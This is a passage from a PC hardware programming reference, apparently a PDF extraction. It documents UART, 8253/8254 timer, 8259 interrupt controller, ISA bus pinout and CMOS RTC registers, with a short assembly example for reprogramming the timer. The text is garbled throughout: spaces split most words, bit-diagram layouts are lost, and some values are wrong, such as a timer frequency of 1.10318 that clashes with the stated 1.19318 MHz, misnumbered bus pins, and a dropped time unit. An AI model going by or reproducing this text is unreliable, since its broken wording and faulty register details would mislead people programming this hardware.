0 = par i t y di sabl ed, 1 = enabl ed
0 = t ur n br eak of f , 1 = f or ce spaci ng br eak st at e
1 = baud r at e di vi sor ( DLAB) ; 0 = RBR, THR or I ER

% Bi t s
% 10 Wor d l engt h bi t s
00 = 5 bi t s per char act er
01 = 6 bi t s per char act er
10 = 7 bi t s per char act er
11 = 8 bi t s per char act er

- st op bi t s = 1. 5 f or 5 bi t wor ds or 2 f or 6, 7 or 8 bi t wor ds
- bi t 7 changes t he mode of r egi st er s 3F8 and 3F9. I f set t hese
r egi st er s become t he LSB and MSB of t he baud r at e di vi sor .
Ot her wi se 3F8 i s t he Tr ansmi t / Recei ve Buf f er Regi st er and 3F9 i s
t he I nt er r upt Enabl e Regi st er .


^Por t 3FC - ModemCont r ol Regi st er - MCR ( r ead/ wr i t e)

7 6 5 4 3 2 1 0 2FC, 3FC ModemCont r ol Regi st er
1 = act i vat e DTR
1 = act i vat e RTS
OUT1
OUT2
0 = nor mal , 1 = l oop back t est
r eser ved ( zer o)

- I f bi t 4 i s set , dat a f r omt he Tr ansmi t Shi f t Regi st er i s r ecei ved
i n t he Recei ver Shi f t Regi st er . The SOUT l i ne i s set t o l ogi c
hi gh, t he SI N l i ne and cont r ol l i nes ar e di sconnect ed. CTS, DSR,
RI and CD i nput s ar e di sconnect ed. DTR, RTS, OUT1 and OUT2 ar e
t hen connect ed i nt er nal l y.


^Por t 3FD - Li ne St at us Regi st er - LSR ( r ead onl y)

7 6 5 4 3 2 1 0 2FD, 3FD Li ne St at us Regi st er
1 = dat a r eady
1 = over r un er r or ( OE)
1 = par i t y er r or ( PE)
1 = f r ami ng er r or ( FE)
1 = br eak i nt er r upt ( BI )
1 = t r ansmi t t er hol di ng r egi st er empt y ( THRE)
1 = t r ansmi t t er shi f t r egi st er empt y ( TSRE)
1 = 16550 PE/ FE/ Br eak i n FI FO queue, 0 f or 8250 & 16450

- Bi t 0 i s set when a byt e i s pl aced i n t he Recei ver Buf f er Regi st er
and cl ear ed when t he byt e i s r ead by t he CPU ( or when t he CPU
cl ear s t he FI FO f or t he 16550) . Resul t s i n Recei ve Dat a Avai l abl e
Pagina 608 di 991
I nt er r upt s i f enabl ed.
- Bi t s 1- 4 i ndi cat e er r or s and r esul t i n Li ne St at us I nt er r upt s
i f enabl ed.
- Bi t 1 i s set when a second byt e i s r ecei ved bef or e t he byt e
i n t he Recei ver Buf f er Regi st er i s r ead by t he CPU ( t he 16550 i n
FI FO mode set s t hi s bi t when t he queue i s f ul l and t he byt e i n t he
Recei ver Shi f t Regi st er hasn' t been moved i nt o t he queue) . Thi s
bi t i s r eset when t he CPU r eads t he LSR
- Bi t 2 i s set whenever a byt e i s r ecei ved t hat doesn' t mat ch t he
r equest ed par i t y. Reset upon r eadi ng t he LSR. ( The 16550 mai nt ai ns
par i t y i nf or mat i on wi t h each byt e and set s bi t 2 onl y when t he byt e
i s at t he t op of t he FI FO queue. )
- Bi t 3 i s set when a char act er i s r ecei ved wi t hout pr oper st op
bi t s. Upon det ect i ng a f r ami ng er r or t he UART at t empt s t o
r esynchr oni ze. Reset by r eadi ng t he LSR. ( The 16550 mai nt ai ns
t hi s i nf or mat i on wi t h each byt e and set s bi t 3 onl y when t he byt e
i s at t he t op of t he FI FO queue. )
- Bi t 4 i s set when a br eak condi t i on i s sensed ( when space i s
det ect ed f or l onger t han 1 f ul l wor d) . A zer o byt e i s pl aced i n
t he Recei ver Buf f er Regi st er ( or 16550 FI FO) . Reset by r eadi ng
t he LSR. ( The 16550 mai nt ai ns t hi s i nf or mat i on wi t h each byt e and
set s bi t 4 onl y when t he byt e i s at t he t op of t he FI FO queue. )
- Bi t 5 i s set when t he Tr ansmi t Hol di ng Regi st er shi f t s a byt e
i nt o t he Tr ansmi t Shi f t Regi st er ( or XMI T FI FO queue i s empt y f or
16550) and i s cl ear ed when a byt e i s wr i t t en t o t he THR ( or t he
XMI T FI FO) . Resul t s i n Tr ansmi t Hol di ng Regi st er Empt y i nt er r upt s
i f enabl ed.
- Bi t 6 i s set when bot h t he Tr ansmi t t er Hol di ng Regi st er and t he
Tr ansmi t t er Shi f t Regi st er ar e empt y. On t he 16550, when t he XMI T
FI FO and Tr ansmi t t er Shi f t Regi st er ar e empt y.
- Bi t 7 i s 16550 speci f i c and i ndi cat es t her e i s a byt e i n t he FI FO
queue t hat was r ecei ved wi t h a Par i t y, Fr ami ng or Br eak er r or .


^Por t 3FE - ModemSt at us Regi st er - MSR ( r ead onl y)

7 6 5 4 3 2 1 0 2FE, 3FE ModemSt at us Regi st er
1 = DCTS Del t a CTS ( CTS changed)
1 = DDSR Del t a DSR ( DSR changed)
1 = RI r i ng i ndi cat or changed
1 = DDCD Del t a Dat a Car r i er Det ect ( DCD changed)
1 = CTS
1 = DSR
1 = r i ng i ndi cat or ( RI )
1 = r ecei ve l i ne si gnal det ect

- Bi t s 0- 3 ar e r eset when t he CPU r eads t he MSR
- Bi t 4 i s t he ModemCont r ol Regi st er RTS dur i ng l oopback t est
- Bi t 5 i s t he ModemCont r ol Regi st er DTR dur i ng l oopback t est
- Bi t 6 i s t he ModemCont r ol Regi st er OUT1 dur i ng l oopback t est
- Bi t 7 i s t he ModemCont r ol Regi st er OUT2 dur i ng l oopback t est

^Por t 3FF/ 2FF - Scr at ch Pad Regi st er ( r ead/ wr i t e)

% Pr ogr ammi ng consi der at i ons:
- 8250' s, 16450' s ar e essent i al l y i dent i cal t o pr ogr am
- 16550' s i s pi n and sof t war e compat i bl e wi t h t he 16450 but has an
i nt er nal FI FO queue t hat may be enabl ed/ di sabl ed by sof t war e
- PCs ar e capabl e of 38. 4Kb, whi l e AT' s ar e capabl e of 115. 2Kb
- r ecei ver checks onl y t he f i r st st op bi t of each char act er r egar dl ess
of t he number of st op bi t s speci f i ed
- Ol der 8250 and 16450 UARTs may l ose THRE i nt er r upt i f t he THRE and
Recei ve Dat a ( RD) or t he Li ne St at us ( LS) i nt er r upt s occur
Pagina 609 di 991
si mul t aneousl y dur i ng a f ul l dupl ex t r ansmi ssi on. RD and LS have
hi gher pr i or i t y t han THRE whi ch causes t he l ower pr i or i t y i nt er r upt
t o be l ost . The f ol l owi ng ar e 3 met hods used t o avoi d t hi s pr obl em:

1. Di sabl e/ r e- enabl e THRE i nt er r upt vi a t he I ER af t er pr ocessi ng
Recei ve Dat a & Li ne St at us i nt er r upt s.
2. Whi l e i nsi de t he RD and LS i nt er r upt r out i nes check t he LSR
THRE bi t and set a f l ag t hat a THRE i nt er r upt was wai t i ng.
3. Pol l t he LSR THRE bi t i nst ead of usi ng t he I RR.

- dat a l oss can occur wi t hout over r un or f r ami ng er r or s i f t he
i nt er r upt s ar e ser vi ced t oo sl owl y
- r eser ved bi t s ar e usual l y set t o zer o. Code shoul d NOT r el y on
t hi s bei ng t he case si nce f ut ur e enhancement may use t hese bi t s
- see ~I NT TABLE~ or ~I RQ~ f or i nt er r upt assi gnment s
- see ~PORTS~ f or COMx por t assi gnment ( 3F8, 2F8, 3E8, 2E8, 3220. . . )
: 8253: 8254: PI T: t i mer
^8253/ 8254 PI T - Pr ogr ammabl e I nt er val Ti mer

Por t 40h, 8253 Count er 0 Ti me of Day Cl ock ( nor mal l y mode 3)
Por t 41h, 8253 Count er 1 RAM Ref r esh Count er ( nor mal l y mode 2)
Por t 42h, 8253 Count er 2 Casset t e and Speaker Funct i ons
Por t 43h, 8253 Mode Cont r ol Regi st er , dat a f or mat :

7 6 5 4 3 2 1 0 Mode Cont r ol Regi st er
0=16 bi nar y count er , 1=4 decade BCD count er
count er mode bi t s
r ead/ wr i t e/ l at ch f or mat bi t s
count er sel ect bi t s ( al so 8254 r ead back command)

% Bi t s
% 76 Count er Sel ect Bi t s
00 sel ect count er 0
01 sel ect count er 1
10 sel ect count er 2
11 r ead back command ( 8254 onl y, i l l egal on 8253, see bel ow)

% Bi t s
% 54 Read/ Wr i t e/ Lat ch For mat Bi t s
00 l at ch pr esent count er val ue
01 r ead/ wr i t e of MSB onl y
10 r ead/ wr i t e of LSB onl y
11 r ead/ wr i t e LSB, f ol l owed by wr i t e of MSB

% Bi t s
% 321 Count er Mode Bi t s
000 mode 0, i nt er r upt on t er mi nal count ; count down, i nt er r upt ,
t hen wai t f or a new mode or count ; l oadi ng a new count i n t he
mi ddl e of a count st ops t he count down
001 mode 1, pr ogr ammabl e one- shot ; count down wi t h opt i onal
r est ar t ; r el oadi ng t he count er wi l l not af f ect t he count down
unt i l af t er t he f ol l owi ng t r i gger
010 mode 2, r at e gener at or ; gener at e one pul se af t er ' count ' CLK
cycl es; out put r emai ns hi gh unt i l af t er t he new count down has
begun; r el oadi ng t he count mi d- per i od does not t ake af f ect
unt i l af t er t he per i od
011 mode 3, squar e wave r at e gener at or ; gener at e one pul se af t er
' count ' CLK cycl es; out put r emai ns hi gh unt i l 1/ 2 of t he next
count down; i t does t hi s by decr ement i ng by 2 unt i l zer o, at
whi ch t i me i t l ower s t he out put si gnal , r el oads t he count er
and count s down agai n unt i l i nt er r upt i ng at 0; r el oadi ng t he
count mi d- per i od does not t ake af f ect unt i l af t er t he per i od
100 mode 4, sof t war e t r i gger ed st r obe; count down wi t h out put hi gh
Pagina 610 di 991
unt i l count er zer o; at zer o out put goes l ow f or one CLK
per i od; count down i s t r i gger ed by l oadi ng count er ; r el oadi ng
count er t akes ef f ect on next CLK pul se
101 mode 5, har dwar e t r i gger ed st r obe; count down af t er t r i gger i ng
wi t h out put hi gh unt i l count er zer o; at zer o out put goes l ow
f or one CLK per i od

% Read Back Command For mat ( 8254 onl y)

7 6 5 4 3 2 1 0 Read Back Command ( wr i t t en t o Mode Cont r ol Reg)
must be zer o
sel ect count er 0
sel ect count er 1
sel ect count er 2
0 = l at ch st at us of sel ect ed count er s
0 = l at ch count of sel ect ed count er s
11 = r ead back command

% Read Back Command St at us ( 8254 onl y, r ead f r omcount er r egi st er )

7 6 5 4 3 2 1 0 Read Back Command St at us
0=16 bi nar y count er , 1=4 decade BCD count er
count er mode bi t s ( see Mode Cont r ol Reg above)
r ead/ wr i t e/ l at ch f or mat ( see Mode Cont r ol Reg)
1=nul l count ( no count set ) , 0=count avai l abl e
st at e of OUT pi n ( 1=hi gh, 0=l ow)


- t he 8253 i s used on t he PC & XT, whi l e t he 8254 i s used on t he AT+
- al l count er s ar e decr ement i ng and f ul l y i ndependent
- t he PI T i s t i ed t o 3 cl ock l i nes al l gener at i ng 1. 19318 MHz.
- t he val ue of 1. 19318MHz i s der i ved f r om( 4. 77/ 4 MHz) and has i t ' s
r oot s based on NTSC f r equenci es
- count er s ar e 16 bi t quant i t i es whi ch ar e decr ement ed and t hen
t est ed agai nst zer o. Val i d r ange i s ( 0- 65535) . To get a val ue
of 65536 cl ocks you must speci f y 0 as t he def aul t count si nce
65536 i s a 17 bi t val ue.
- r eadi ng by l at chi ng t he count doesn' t di st ur b t he count down but
r eadi ng t he por t di r ect l y does; except when usi ng t he 8254 Read
Back Command
- count er 0 i s t he t i me of day i nt er r upt and i s gener at ed
appr oxi mat el y 18. 2 t i mes per sec. The val ue 18. 2 i s der i ved f r om
t he f r equency 1. 10318/ 65536 ( t he nor mal def aul t count ) .
- count er 1 i s nor mal l y set t o 18 ( dec. ) and si gnal s t he 8237 t o do
a RAM r ef r esh appr oxi mat el y ever y 15s
- count er 2 i s nor mal l y used t o gener at e t ones f r omt he speaker
but can be used as a r egul ar count er when used i n conj unct i on
wi t h t he 8255
- newl y l oaded count er s don' t t ake ef f ect unt i l af t er a an out put
pul se or i nput CLK cycl e dependi ng on t he mode
- t he 8253 has a max i nput cl ock r at e of 2. 6MHz, t he 8254 has max
i nput cl ock r at e of 10MHz

% Pr ogr ammi ng consi der at i ons:

1. l oad Mode Cont r ol Regi st er
2. l et bus set t l e ( j mp $+2)
3. wr i t e count er val ue
4. i f count er 0 i s modi f i ed, an I NT 8 handl er must be wr i t t en t o
cal l t he or i gi nal I NT 8 handl er ever y 18. 2 seconds. When i t
does cal l t he or i gi nal I NT 8 handl er i t must NOT send and EOI
t o t he ~8259~ f or t he t i mer i nt er r upt , si nce t he or i gi nal I NT 8
handl er wi l l send t he EOI al so.
Pagina 611 di 991

% Exampl e code:

count down equ 8000h ; appr ox 36 i nt er r upt s per second

cl i
mov al , 00110110b ; bi t 7, 6 = ( 00) t i mer count er 0
; bi t 5, 4 = ( 11) wr i t e LSB t hen MSB
; bi t 3- 1 = ( 011) gener at e squar e wave
; bi t 0 = ( 0) bi nar y count er
out 43h, al ; pr ep PI T, count er 0, squar e wave&i ni t
count
j mp $+2
mov cx, count down ; def aul t i s 0x0000 ( 65536) ( 18. 2 per sec)
; i nt er r upt s when count er decr ement s t o 0
mov al , cl ; send LSB of t i mer count
out 40h, al
j mp $+2
mov al , ch ; send MSB of t i mer count
out 40h, al
j mp $+2
st i
: 8259: PI C
^8259 Pr ogr ammabl e I nt er r upt Cont r ol l er ( PI C)

% I ni t i al i zat i on Command Wor d 1 at Por t 20h and A0h

7 6 5 4 3 2 1 0 I CW1
1=I CW4 i s needed, 0=no I CW4 needed
1=si ngl e 8259, 0=cascadi ng 8259' s
1=4 byt e i nt er r upt vect or s, 0=8 byt e i nt vect or s
1=l evel t r i gger ed mode, 0=edge t r i gger ed mode
must be 1 f or I CW1 ( por t must al so be 20h or A0h)
must be zer o f or PC syst ems

% I ni t i al i zat i on Command Wor d 2 at Por t 21h and A1h

7 6 5 4 3 2 1 0 I CW2
000= on 80x86 syst ems
A7- A3 of 80x86 i nt er r upt vect or

% I ni t i al i zat i on Command Wor d 3 at Por t 21h and A1h

7 6 5 4 3 2 1 0 I CW3 f or Mast er Devi ce
1=i nt er r upt r equest 0 has sl ave, 0=no sl ave
1=i nt er r upt r equest 1 has sl ave, 0=no sl ave
1=i nt er r upt r equest 2 has sl ave, 0=no sl ave
1=i nt er r upt r equest 3 has sl ave, 0=no sl ave
1=i nt er r upt r equest 4 has sl ave, 0=no sl ave
1=i nt er r upt r equest 5 has sl ave, 0=no sl ave
1=i nt er r upt r equest 6 has sl ave, 0=no sl ave
1=i nt er r upt r equest 7 has sl ave, 0=no sl ave

7 6 5 4 3 2 1 0 I CW3 f or Sl ave Devi ce
mast er i nt er r upt r equest sl ave i s at t ached t o
must be zer o

% I ni t i al i zat i on Command Wor d 4 at Por t 21h and A1h

7 6 5 4 3 2 1 0 I CW4
1 f or 80x86 mode, 0 = MCS 80/ 85 mode
1 = aut o EOI , 0=nor mal EOI
sl ave/ mast er buf f er ed mode ( see bel ow)
Pagina 612 di 991
1 = speci al f ul l y nest ed mode ( SFNM) , 0=sequent i al
unused ( set t o zer o)

% Bi t s
% 32 Buf f er i ng Mode
00 not buf f er ed
01 not buf f er ed
10 buf f er ed mode sl ave ( PC mode)
11 buf f er ed mode mast er ( PC mode)

% Oper at i on Cont r ol Wor d 1 / I nt er r upt Mask Reg. ( Por t s 21h & A1h)

7 6 5 4 3 2 1 0 OCW1 - I MR I nt er r upt Mask Regi st er
0 = ser vi ce I RQ0, 1 = mask of f
0 = ser vi ce I RQ1, 1 = mask of f
0 = ser vi ce I RQ2, 1 = mask of f
0 = ser vi ce I RQ3, 1 = mask of f
0 = ser vi ce I RQ4, 1 = mask of f
0 = ser vi ce I RQ5, 1 = mask of f
0 = ser vi ce I RQ6, 1 = mask of f
0 = ser vi ce I RQ7, 1 = mask of f

% Oper at i on Cont r ol Wor d 2 / I nt er r upt Command Reg. ( Por t s 20h & A0h)

7 6 5 4 3 2 1 0 OCW2 - I CR I nt er r upt Command Regi st er
i nt er r upt r equest l evel t o act upon
must be 0 f or OCW2
must be 0 f or OCW2
EOI t ype ( see t abl e)

% Bi t s
% 765 EOI - End Of I nt er r upt code ( PC speci f i c)
001 non- speci f i c EOI command
010 NOP
011 speci f i c EOI command
100 r ot at e i n aut omat i c EOI mode
101 r ot at e on non- speci f i c EOI command
110 set pr i or i t y command ( uses bi t s 2- 0)
111 r ot at e on speci f i c EOI command

% Oper at i on Cont r ol Wor d 3 ( Por t s 20h & A0h)

7 6 5 4 3 2 1 0 OCW3
1=r ead I RR on next r ead, 0=r ead I SR on next r ead
1=act on val ue of bi t 0, 0=no act i on i f bi t 0 set
1=pol l command i ssued, 0=no pol l command i ssued
must be 1 f or OCW3
must be 0 f or OCW3
1=set speci al mask, 0=r eset speci al mask
1=act on val ue of bi t 5, 0=no act i on i f bi t 5 set
not used ( zer o)

% Ot her Regi st er s

I RR - I nt er r upt Request Regi st er , mai nt ai ns a bi t vect or i ndi cat i ng
whi ch I RQ har dwar e event s ar e awai t i ng ser vi ce. Hi ghest
l evel i nt er r upt i s r eset when t he CPU acknowl edges i nt er r upt .
I SR - I n Ser vi ce Regi st er , t r acks I RQ l i ne cur r ent l y bei ng ser vi ced.
Updat ed by EOI command.


^Har dwar e I nt er r upt Sequence of Event s:

Pagina 613 di 991
1. 8259 ~I RQ~ si gnal i s r ai sed hi gh by har dwar e set t i ng t he
cor r espondi ng I RR bi t s t r ue.

2. PI C eval uat es t he i nt er r upt r equest s and si gnal s t he CPU
wher e appr opr i at e.

3. CPU acknowl edges t he I NT by pul si ng I NTA ( i nver t ed)

4. I NTA si gnal f r omCPU i s r ecei ved by t he PI C, whi ch t hen set s t he
hi ghest pr i or i t y I SR bi t , and cl ear s t he cor r espondi ng I RR bi t

5. CPU sends a second I NTA pul se whi ch causes t he PI C t o send t he
i nt er r upt I D byt e ont o t he bus. CPU begi ns i nt er r upt pr ocessi ng.

6. I nt er r upt s of l ower and equal pr i or i t y ar e bl ocked unt i l a
Non- Speci f i c EOI ( 20h) i s sent t o t he command por t .


^I ni t i al i zat i on Pr ocedur e

% I ni t i al i zat i on
1. wr i t e I CW1 t o por t 20h
2. wr i t e I CW2 t o por t 21h
3. i f I CW1 bi t D1=1 do not hi ng
i f I CW1 bi t D1=0 wr i t e I CW3 t o por t 20h
4. wr i t e I CW4 t o por t 21h
5. OCW' s can f ol l ow i n any or der


^8259 Pr ogr ammabl e I nt er r upt Cont r ol l er Not es

- Oper at i on Command Wor d ( OCW) , commands t hat set t he 8259 i n
var i ous i nt er r upt modes. These can be wr i t t en t o t he 8259
anyt i me af t er i ni t i al i zat i on.
- The 8259 di f f er ent i at es bet ween t he OCW1, OCW2 and OCW3 by t he
por t addr ess and t he val ue of t he dat a bi t s D4 and D3. I CW2
t hr ough I CW4 ar e or der r el at ed and must f ol l ow I CW1. I CW1 i s
i dent i f i ed by an even por t number and dat a bi t D4 set t o 1.
- PCs oper at e i n f ul l y nest ed mode, wher e a Non- Speci f i c EOI r eset s
t he i nt er r upt i dent i f i ed by t he hi ghest bi t val ue i n t he I SR
- 8259s can be chai ned t oget her wher e t he I NT pi n ( out put ) of a
sl ave 8259 can be used as t he i nput t o an I RQ l i ne al l owi ng up
t o 64 pr i or i t y vect or ed i nt er r upt s. AT l evel machi nes use t wo
8259' s f or a t ot al of 16 har dwar e i nt er r upt l evel s
- t he f i r st 8259 por t s ar e l ocat ed at 20h and 21h
- t he second 8259 por t s ar e l ocat ed at A0h and A1h
- PC and AT i nt er r upt s ar e Edge Tr i gger ed whi l e PS/ 2' s ar e Level
Tr i gger ed
- some ASI C chi ps desi gned f or Tandy 1000 Syst ems mal f unct i on i f
speci f i c and non- speci f i c EOI s ar e mi xed
- f or a mor e i n- dept h di scussi on of t he 8259, see I nt el ' s " Mi cr o-
pr ocessor and Per i pher al s Handbook, Vol ume I "

- see ~PORTS~ and ~I NT TABLE~
: BUS
^PC, XT and AT 8 bi t BUS St r uct ur e


Gr ound B1 A1 - I / O CH CHK ( NMI )
+Reset DRV B2 A2 +Dat a 7
+5V B3 A3 +Dat a 6
+I RQ2 B4 A4 +Dat a 5
- 5V B5 A5 +Dat a 4
Pagina 614 di 991
+DRQ2 B6 A6 +Dat a 3
- 12V B7 A7 +Dat a 2
- CARD SLCTD B8 A8 +Dat a 1
+12V B9 A9 +Dat a 0
Gr ound B10 A10 +I / O CH RDY
- MEMWB11 A11 +AEN
- MEMR B12 A12 +Addr ess 19
- I OWB13 A13 +Addr ess 18
- I OR B14 A14 +Addr ess 17
- DACK3 B15 A15 +Addr ess 16
+DRQ3 B16 A16 +Addr ess 15
- DACK1 B17 A17 +Addr ess 14
+DRQ1 B18 A18 +Addr ess 13
- DACK0 ( MREF) B19 A19 +Addr ess 12
CLK B20 A20 +Addr ess 11
+I RQ7 B21 A21 +Addr ess 10
+I RQ6 B22 A22 +Addr ess 9
+I RQ5 B23 A23 +Addr ess 8
+I RQ4 B24 A24 +Addr ess 7
+I RQ3 B25 A25 +Addr ess 6
- DACK2 B26 A26 +Addr ess 5
+TC B27 A27 +Addr ess 4
+ALE B28 A28 +Addr ess 3
+5V B29 A29 +Addr ess 2
+OSC B30 A30 +Addr ess 1
Gr ound B31 A31 +Addr ess 0


^AT 16 Bi t BUS Ext ensi on


- MEM CS16 D1 C1 SBHE
- I / O CS16 D2 C2 Addr ess 23
I RQ10 D3 C3 Addr ess 22
I RQ11 D4 C4 Addr ess 21
I RQ12 D5 C2 Addr ess 20
I RQ15 D6 C6 Addr ess 19
I RQ14 D7 C7 Addr ess 18
- DACK0 D8 C8 Addr ess 17
DRQ0 D9 C9 - MEMR
- DACK5 D10 C10 - MEMW
DRQ5 D11 C11 Dat a 8
- DACK6 D12 C12 Dat a 9
DRQ6 D13 C13 Dat a 10
- DACK7 D14 C24 Dat a 11
DRQ7 D15 C15 Dat a 12
+5V D16 C16 Dat a 13
- Mast er D17 C17 Dat a 14
Gr ound D18 C18 Dat a 15


- pi n number i ng st ar t s f r omt he r ear of t he machi ne


% Si gnal Descr i pt i on

A0- A19 Addr ess Bi t s 0- 19 al l ow access t o 1Mb memor y and 64K of
por t addr esses.
A17- A23 Addr ess Bi t s 17- 23 al l ow access f r om1Mb memor y t o 16Mb
AEN Addr ess Enabl e; When act i ve t he DMA cont r ol l er has
cont r ol of t he Addr ess and Dat a BUS as wel l as t he
MEMR/ MEMWl i nes. When i nact i ve t he CPU has cont r ol of
t hese l i nes
Pagina 615 di 991
ALE Addr ess Lat ch Enabl e ( out put ) ; used t o l at ch addr esses
f r omt he CPU. For ced act i ve dur i ng DMA cycl es.
CARD SLCTD Car d Sel ect ed; act i vat ed by car ds i n t he XT' s sl ot 8
CLK Syst emcl ock si gnal ( act ual BUS speed)
D0- D7 Dat a bi t s 0- 7 f or I / O t o memor y and I / O
DACK0- DACK3 DMA Acknowl edge f or channel s 0- 3; used by t he cont r ol l er
t o acknowl edge DMA r equest ed. DACK0 i s used f or memor y
r ef r esh ( MREF)
DRQ0- DRQ3 DMA Request 0- 3; used by per i pher al s t o get ser vi ce f r om
t he DMA cont r ol l er ; Hel d act i ve unt i l t he cor r espondi ng
DACKx si gnal becomes act i ve.
I / O CH CHK I / O Channel Check; Gener at es a Non Maskabl e I nt er r upt
I / O CH RDY I / O Channel Ready; pul l ed i nact i ve my memor y or I / O
devi ces t o l engt hen memor y or I / O cycl es. Usual l y used
by sl ower devi ces t o add wai t st at es. Shoul d not be
hel d i nact i ve f or mor e t han 17 cycl es.
I / O CS16 I / O Chi p Sel ect 16 Bi t ; 16 bi t I / O cycl e
I OR I / O Read; i nst r uct s an I / O devi ce t o dr i ve i t s dat a
ont o t he syst emBUS
I OW I / O Wr i t e; i nst r uct s an I / O devi ce t o r ead dat a f r om
t he BUS
I RQ2- I RQ7 I nt er r upt Request s 2- 7; si gnal s t he CPU t hat an I / O
devi ce needs ser vi ce ( see ~8259~)
MASTER Used wi t h DRQ t o gai n cont r ol of syst em
MEM CS16 Memor y Chi p Sel ect 16 Bi t ; 16 Bi t memor y cycl e
MEMR Memor y Read; t hi s si gnal i s dr i ven by t he CPU or DMA
cont r ol l er and i nst r uct s memor y t o dr i ve i t s dat a ont o
t he syst emBUS. Pr esent on bot h PC and AT ext ensi on BUS
MEMW Memor y Wr i t e; t hi s si gnal i s dr i ven by t he CPU or DMA
cont r ol l er and i nst r uct s memor y t o r ead and st or e dat a
f r omt he syst emBUS. Pr esent on bot h PC and AT
ext ensi on BUS
OSC Osci l l at or ; 14. 31818 MHz cl ock ( 70ns per i od) ; 50%dut y
cycl e
RESET DRV Reset Dr i ve; used t o r eset syst eml ogi c
SBHE Syst emBUS Hi gh Enabl e; act i vat es dat a bi t s 8- 15 on AT
ext ensi on BUS
TC Ter mi nal Count ; pul ses when t he t er mi nal count f or a
DMA channel i s r eached


- al l I SA BUS si gnal s use st andar d TTL l evel s
- i nput and out put ar e r el at i ve t o t he CPU
: capaci t or val ues
^Cer ami c Fi l e Capaci t or Col or Code Char t

% Col or Di gi t Mul t i pl i er

Bl ack 0 1
Br own 1 10
Red 2 100 Gol d 5%t ol er ance
Or ange 3 1, 000 Si l ver 10%t ol er ance
Yel l ow 4 10, 000 Whi t e 10%t ol er ance
Gr een 5 100, 000
Bl ue 6 1, 000, 000
Vi ol et 7
Gr ay 8
Whi t e 9

%
%

t ol er ance/ t emper at ur e dependance
Pagina 616 di 991
pi cof ar ad val ue mul t i pl i er
f i r st 2 di gi t s of pi cof ar ad val ue
: CMOS RAM: CMOS cl ock: RTC
^CMOS RTC - Real Ti me Cl ock and Memor y ( por t s 70h & 71h)

% Reg# Descr i pt i on

00 RTC seconds
01 RTC seconds al ar m
02 RTC mi nut es
03 RTC mi nut es al ar m
04 RTC hour s
05 RTC hour s al ar m
06 RTC day of week
07 RTC day of mont h
08 RTC mont h
09 RTC year
0A RTC St at us r egi st er A:

7 6 5 4 3 2 1 0 RTC St at us Regi st er A
r at e sel ect i on Bi t s f or di vi der out put
f r equency ( set t o 0110 = 1. 024kHz, 976. 562s)
22 st age di vi der , t i me base bei ng used;
( i ni t i al i zed t o 010 = 32. 768kHz)
1=t i me updat e i n pr ogr ess, 0=t i me/ dat e avai l abl e

0B RTC St at us r egi st er B:

7 6 5 4 3 2 1 0 RTC St at us Regi st er B
1=enabl e dayl i ght savi ngs, 0=di sabl e ( def aul t )
1=24 hour mode, 0=12 hour mode ( 24 def aul t )
1=t i me/ dat e i n bi nar y, 0=BCD ( BCD def aul t )
1=enabl e squar e wave f r equency, 0=di sabl e
1=enabl e updat e ended i nt er r upt , 0=di sabl e
1=enabl e al ar mi nt er r upt , 0=di sabl e
1=enabl e per i odi c i nt er r upt , 0=di sabl e
1=di sabl e cl ock updat e, 0=updat e count nor mal l y

0C RTC St at us r egi st er C ( r ead onl y) :

7 6 5 4 3 2 1 0 RTC St at us Regi st er C ( r ead onl y)
r eser ved ( set t o 0)
updat e ended i nt er r upt enabl ed
al ar mi nt er r upt enabl ed
per i odi c i nt er r upt enabl ed
I RQF f l ag

0D RTC St at us r egi st er D ( r ead onl y) :

7 6- 0 RTC St at us Regi st er D ( r ead onl y)
r eser ved ( set t o 0)
1=CMOS RAM has power , 0=CMOS RAM has l ost power

0E Di agnost i c st at us byt e:

7 6 5 4 3 2 1 0 Di agnost i c St at us Byt e
r eser ved
1=t i me i s i nval i d, 0=ok ( POST val i di t y check)
1=f i xed di sk 0 f ai l ed i ni t i al i zat i on, 0=ok
1=memor y si ze doesn' t mat ch conf i g i nf o, 0=ok
1=i nval i d conf i g i nf o f ound, 0=ok ( see bel ow)
1=conf i g r ecor d checksumi s bad, 0=ok
1=RTC l ost power , 0=power st at e st abl e
Pagina 617 di 991

0F Shut down st at us byt e:

0 sof t r eset or unexpect ed shut down
1 shut down af t er memor y si ze det er mi nat i on
2 shut down af t er memor y t est
3 shut down wi t h memor y er r or
4 shut down wi t h boot l oader r equest
5 J MP DWORD r equest wi t h I NT i ni t
6 pr ot ect ed mode t est 7 passed
7 pr ot ect ed mode t est 7 f ai l ed
8 pr ot ect ed mode t est 1 f ai l ed
9 bl ock move shut down r equest
A J MP DWORD r equest wi t hout I NT i ni t

10 Di sket t e dr i ve t ype f or A: and B:

7 6 5 4 3 2 1 0 Di sket t e dr i ve t ype f or A: and B:
second di sket t e t ype
f i r st di sket t e t ype

0000 no dr i ve i nst al l ed
0001 DSDD 48 TPI dr i ve
0010 DSQD 96 TPI dr i ve
ot her val ues ar e r eser ved

11 Reser ved
12 Fi xed di sk dr i ve t ype f or dr i ve 0 and dr i ve 1

7 6 5 4 3 2 1 0 Di sket t e dr i ve t ype f or A: and B:
second har d di sk dr i ve code ( 0000=no di sk)
f i r st har d di sk dr i ve code ( 0000=no di sk)

13 Reser ved
14 Equi pment byt e

7 6 5 4 3 2 1 0 Equi pment byt e
1=di sket t e dr i ves i nst al l ed, 0=none
1=mat h copr ocessor i nst al l ed, 0=none
unused
pr i mar y di spl ay
number of di sket t e dr i ves i nst al l ed

% Bi t s Bi t s
% 54 Pr i mar y Di spl ay 76 Number of Dr i ves
00 r eser ved 00 1 di sket t e dr i ve
01 40 col umn col or 01 2 di sket t e dr i ves
10 80 col umn col or 10 r eser ved
11 monochr ome 11 r eser ved

15 LSB of syst embase memor y i n 1k bl ocks
16 MSB of syst embase memor y i n 1k bl ocks
17 LSB of t ot al ext ended memor y i n 1k bl ocks
18 MSB of t ot al ext ended memor y i n 1k bl ocks
19 Dr i ve C ext ensi on byt e ( r eser ved AT)
1A Dr i ve D ext ensi on byt e ( r eser ved AT)
1B 13 byt es r eser ved
2E CMOS checksumof byt es 10h- 20h ( MSB)
2F CMOS checksumof byt es 10h- 20h ( LSB)
30 LSB of ext ended memor y si ze f ound above 1 megabyt e dur i ng POST
31 MSB of ext ended memor y si ze f ound above 1 megabyt e dur i ng POST
32 Dat e cent ur y byt e i n BCD ( BI OS i nt er f ace t o r ead and set )
33 I nf or mat i on f l ags ( set dur i ng power - on)
Pagina 618 di 991

7 6 5- 0 I nf or mat i on Fl ags
r eser ved
i ni t i al set up message f l ag
1=I BM 128k expansi on i nst al l ed, 0=none

34 12 byt es r eser ved


